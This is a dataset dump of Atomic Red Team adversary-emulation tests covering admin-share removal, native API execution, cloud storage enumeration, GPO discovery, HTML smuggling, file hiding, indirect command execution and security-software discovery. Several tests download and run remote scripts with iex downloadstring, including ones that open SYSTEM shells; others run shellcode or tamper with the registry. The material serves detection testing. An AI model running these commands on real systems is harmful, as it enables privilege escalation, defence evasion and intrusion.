deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1070.005: Indicator Removal on Host: Network Share Connection Removal
Test: Disable Administrative Share Creation at Startup
Platforms: windows
Executor: command_prompt

Description:
Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators 
remote access to every disk volume on a network-connected system. These shares are automatically created at started unless they have been
purposefully disabled as is done in this Atomic test. As Microsoft puts it, "Missing administrative shares typically 
indicate that the computer in question has been compromised by malicious software."
https://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/


Command:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f


Cleanup:
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /f
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /f
Atomic Red Team — T1070.005: Indicator Removal on Host: Network Share Connection Removal
Test: Remove Administrative Shares
Platforms: windows
Executor: command_prompt

Description:
Administrative shares are hidden network shares created by Microsoft’s Windows NT operating systems that grant system administrators 
remote access to every disk volume on a network-connected system. As Microsoft puts it, “Missing administrative shares typically 
indicate that the computer in question has been compromised by malicious software.
https://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/


Command:
for %i in (C$ IPC$ ADMIN$) do net share %i /delete

Cleanup:
net share ADMIN$ /UNLIMITED >nul 2>&1
net share C$=C:\ >nul 2>&1
net share IPC$ >nul 2>&1
Atomic Red Team — T1106: Native API
Test: Execution through API - CreateProcess
Platforms: windows
Executor: command_prompt

Description:
Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.

Command:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe "#{source_file}"
%tmp%/T1106.exe


Dependencies:
#{source_file} must exist on system.
Atomic Red Team — T1106: Native API
Test: WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique
Platforms: windows
Executor: powershell

Description:
Get SYSTEM shell - Pop System Shell using CreateProcess technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')
Atomic Red Team — T1106: Native API
Test: WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique
Platforms: windows
Executor: powershell

Description:
Get SYSTEM shell - Bind System Shell using CreateProcess technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')
Atomic Red Team — T1106: Native API
Test: WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique
Platforms: windows
Executor: powershell

Description:
Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')
Atomic Red Team — T1106: Native API
Test: Run Shellcode via Syscall in Go
Platforms: windows
Executor: powershell

Description:
Runs shellcode in the current running process via a syscall.

Steps taken with this technique
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
3. Change the memory page permissions to Execute/Read with VirtualProtect
4. Use syscall to execute the entrypoint of the shellcode

- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)


Command:
$PathToAtomicsFolder\T1106\bin\x64\syscall.exe -debug


Cleanup:
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Red Team — T1619: Cloud Storage Object Discovery
Test: AWS S3 Enumeration
Platforms: iaas:aws
Executor: sh

Description:
This test will enumerate all the S3 buckets in the user account and lists all the files in each bucket. 


Command:
for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2 --bucket $bucket --output text; done


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1619: Cloud Storage Object Discovery
Test: Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI
Platforms: iaas:azure
Executor: powershell

Description:
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).

Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Output format: Csv file that contains the found storage account objects
- Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
- The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.

Command:
az login    # Login to Azure

# Get all storage accounts in the subscription
$storageAccounts = az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" --output json | ConvertFrom-Json

$storageAccountObjects = @()
$downloadedFunctionFiles = @()

foreach ($account in $storageAccounts) {
    Write-Output "`nFound storage account $($account.name)"

    $storageAccountObjects += [PSCustomObject]@{
        ResourceGroup      = $account.resourceGroup
        StorageAccountName = $account.name
        FileShareName      = ""
        ContainerName      = ""
        BlobName           = ""
        TableName          = ""
        QueueName          = ""
    }

    $allowSharedKeyAccess = az storage account show --name $account.name --resource-group $account.resourceGroup --que

Cleanup:
Remove-Item -Path "#{output_file}" -Force -erroraction silentlycontinue
Write-Output "Removed #{output_file}"

Dependencies:
Azure CLI must be installed
Atomic Red Team — T1619: Cloud Storage Object Discovery
Test: Azure - Scan for Anonymous Access to Azure Storage (Powershell)
Platforms: iaas:azure
Executor: powershell

Description:
Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file. 
The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information. 
See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service     


Command:
try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append


Cleanup:
remove-item #{output_file} -erroraction silentlycontinue
Atomic Red Team — T1619: Cloud Storage Object Discovery
Test: Azure - Enumerate Azure Blobs with MicroBurst
Platforms: iaas:azure
Executor: powershell

Description:
Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. 
See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ . 


Command:
import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"


Cleanup:
remove-item #{output_file} -erroraction silentlycontinue


Dependencies:
The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder\..\ExternalPayloads.

The wordlist file for search permutations must exist in PathToAtomicsFolder\..\ExternalPayloads.
Atomic Red Team — T1615: Group Policy Discovery
Test: Display group policy information via gpresult
Platforms: windows
Executor: command_prompt

Description:
Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer
The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
Turla has used the /z and /v parameters: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf


Command:
gpresult /z
Atomic Red Team — T1615: Group Policy Discovery
Test: Get-DomainGPO to display group policy information via PowerView
Platforms: windows
Executor: powershell

Description:
Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.

Command:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"
Atomic Red Team — T1615: Group Policy Discovery
Test: WinPwn - GPOAudit
Platforms: windows
Executor: powershell

Description:
Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPOAudit -noninteractive -consoleoutput
Atomic Red Team — T1615: Group Policy Discovery
Test: WinPwn - GPORemoteAccessPolicy
Platforms: windows
Executor: powershell

Description:
Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPORemoteAccessPolicy -consoleoutput -noninteractive
Atomic Red Team — T1615: Group Policy Discovery
Test: MSFT Get-GPO Cmdlet
Platforms: windows
Executor: powershell

Description:
The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps

Command:
Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}

Cleanup:
del $env:temp\GPO_Output.txt -erroraction silentlycontinue

Dependencies:
Add Rsat.ActiveDirectory.DS
Add Rsat.GroupPolicy.Management.Tools ###Two RSAT Modules needed for this to work on Win10, WinServer 2019 works by default. This will take a long time (almost 2 minutes) to install RSAT Manually###.
Atomic Red Team — T1027.006: HTML Smuggling
Test: HTML Smuggling Remote Payload
Platforms: windows
Executor: powershell

Description:
The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. 
The HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)


Command:
& "PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html"


Cleanup:
$user = [System.Environment]::UserName; Remove-Item -Path C:\Users\$user\Downloads\FeelTheBurn.iso -ErrorAction Ignore

Dependencies:
T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Create a hidden file in a hidden directory
Platforms: linux, macos
Executor: sh

Description:
Creates a hidden file inside a hidden directory


Command:
mkdir /var/tmp/.hidden-directory
echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file


Cleanup:
rm -rf /var/tmp/.hidden-directory/
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Mac Hidden file
Platforms: macos
Executor: sh

Description:
Hide a file on MacOS


Command:
xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00"
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Create Windows System File with Attrib
Platforms: windows
Executor: command_prompt

Description:
Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
and observe that the Attributes are "SA" for System and Archive.


Command:
attrib.exe +s #{file_to_modify}


Cleanup:
del /A:S #{file_to_modify} >nul 2>&1


Dependencies:
The file must exist on disk at specified location (#{file_to_modify})
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Create Windows Hidden File with Attrib
Platforms: windows
Executor: command_prompt

Description:
Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes are "SH" for System and Hidden.


Command:
attrib.exe +h #{file_to_modify}


Cleanup:
del /A:H #{file_to_modify} >nul 2>&1


Dependencies:
The file must exist on disk at specified location (#{file_to_modify})
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Hidden files
Platforms: macos
Executor: sh

Description:
Requires Apple Dev Tools


Command:
setfile -a V #{filename}
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Hide a Directory
Platforms: macos
Executor: sh

Description:
Hide a directory on MacOS


Command:
touch /var/tmp/T1564.001_mac.txt
chflags hidden /var/tmp/T1564.001_mac.txt


Cleanup:
rm /var/tmp/T1564.001_mac.txt
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Show all hidden files
Platforms: macos
Executor: sh

Description:
Show all hidden files on MacOS


Command:
defaults write com.apple.finder AppleShowAllFiles YES


Cleanup:
defaults write com.apple.finder AppleShowAllFiles NO
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Hide Files Through Registry
Platforms: windows
Executor: command_prompt

Description:
Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.
See how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx 


Command:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f


Cleanup:
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /f >nul 2>&1
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /f >nul 2>&1
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Create Windows Hidden File with powershell
Platforms: windows
Executor: powershell

Description:
Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is "H" Hidden.


Command:
$file = Get-Item $env:temp\T1564.001-9.txt -Force
$file.attributes='Hidden'


Cleanup:
cmd /c 'del /A:H #{file_to_modify} >nul 2>&1'


Dependencies:
The file must exist on disk at specified location (#{file_to_modify})
Atomic Red Team — T1564.001: Hide Artifacts: Hidden Files and Directories
Test: Create Windows System File with powershell
Platforms: windows
Executor: powershell

Description:
Creates a file and marks it as System through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is "S" System.


Command:
$file = Get-Item $env:temp\T1564.001-10.txt -Force
$file.attributes='System'


Cleanup:
cmd /c 'del /A:H #{file_to_modify} >nul 2>&1'


Dependencies:
The file must exist on disk at specified location (#{file_to_modify})
Atomic Red Team — T1202: Indirect Command Execution
Test: Indirect Command Execution - pcalua.exe
Platforms: windows
Executor: command_prompt

Description:
The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://twitter.com/KyleHanslovan/status/[PII_REDACTED]06640128)
Upon execution, calc.exe should open


Command:
pcalua.exe -a #{process}
pcalua.exe -a #{payload_path}
Atomic Red Team — T1202: Indirect Command Execution
Test: Indirect Command Execution - forfiles.exe
Platforms: windows
Executor: command_prompt

Description:
forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)
"This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe"
Upon execution calc.exe will be opened.


Command:
forfiles /p c:\windows\system32 /m notepad.exe /c #{process}
Atomic Red Team — T1202: Indirect Command Execution
Test: Indirect Command Execution - conhost.exe
Platforms: windows
Executor: command_prompt

Description:
conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.
Executing it through command line can create process ancestry anomalies
[Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)


Command:
conhost.exe "#{process}"
Atomic Red Team — T1202: Indirect Command Execution
Test: Indirect Command Execution - Scriptrunner.exe
Platforms: windows
Executor: powershell

Description:
The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open
Reference: https://x.com/NickTyrer/status/[PII_REDACTED]55312896

Command:
Scriptrunner.exe -appvscript "#{payload_path}"
Atomic Red Team — T1202: Indirect Command Execution
Test: Indirect Command Execution - RunMRU Dialog
Platforms: windows
Executor: powershell

Description:
Simulates execution of commands via the Windows Run dialog (Win+R) by programmatically opening the Run dialog, 
copying a command to clipboard, and automating the paste and execution. This generates artifacts in the RunMRU registry key,
which is commonly abused by threat actors to execute malicious commands disguised as CAPTCHA verification steps.
Upon execution, a test PowerShell command will be executed through the Run dialog.


Command:
# Copy command to clipboard
Set-Clipboard -Value '#{command}'

# Open Run dialog
Start-Process -FilePath "powershell" -ArgumentList "-c (New-Object -ComObject 'Shell.Application').FileRun()" -WindowStyle Hidden

# Wait for Run dialog to open
Start-Sleep -Seconds 1

# Paste command and execute
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait('^v')
Start-Sleep -Milliseconds 500
[System.Windows.Forms.SendKeys]::SendWait('{ENTER}')
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery
Platforms: windows
Executor: command_prompt

Description:
Methods to identify Security Software on an endpoint

when sucessfully executed, the test is going to display running processes, firewall configuration on network profiles
and specific security software.


Command:
netsh.exe advfirewall  show allprofiles 
netsh.exe advfirewall firewall dump
netsh.exe advfirewall show currentprofile
netsh.exe advfirewall firewall show rule name=all
netsh.exe firewall show state
netsh.exe firewall show config
sc query windefend
powershell.exe /c "Get-Process | Where-Object { $_.ProcessName -eq 'Sysmon' }"
powershell.exe /c "Get-Service | where-object {$_.DisplayName -like '*sysm*'}"
powershell.exe /c "Get-CimInstance Win32_Service -Filter 'Description = ''System Monitor service'''"
tasklist.exe
tasklist.exe | findstr /i virus
tasklist.exe | findstr /i cb
tasklist.exe | findstr /i defender
tasklist.exe | findstr /i cylance
tasklist.exe | findstr /i mc
tasklist.exe | findstr /i "virus cb defender cylance mc"
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - powershell
Platforms: windows
Executor: powershell

Description:
Methods to identify Security Software on an endpoint

when sucessfully executed, powershell is going to processes related AV products if they are running.
Note that, depending on the privilege of current user, get-process | ?{$_.Description -like "*"} may not return the processes related to AV products of the check.
For instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like "*"},
if you know the name of those processes.


Command:
get-process | ?{$_.Description -like "*virus*"}
get-process | ?{$_.Description -like "*carbonblack*"}
get-process | ?{$_.Description -like "*defender*"}
get-process | ?{$_.Description -like "*cylance*"}
get-process | ?{$_.Description -like "*mc*"}
get-process | ?{$_.ProcessName -like "*mc*"}
get-process | Where-Object { $_.ProcessName -eq "Sysmon" }
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - ps (macOS)
Platforms: macos
Executor: sh

Description:
Methods to identify Security Software on an endpoint
when sucessfully executed, command shell  is going to display AV/Security software it is running.


Command:
ps aux | egrep 'Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - ps (Linux)
Platforms: linux
Executor: sh

Description:
Methods to identify Security Software on an endpoint
when sucessfully executed, command shell  is going to display AV/Security software it is running.


Command:
ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'
Atomic Red Team — T1518.001: Software Discovery: Security Software Discovery
Test: Security Software Discovery - pgrep (FreeBSD)
Platforms: linux
Executor: sh

Description:
Methods to identify Security Software on an endpoint
when sucessfully executed, command shell is going to display AV/Security software it is running.


Command:
pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'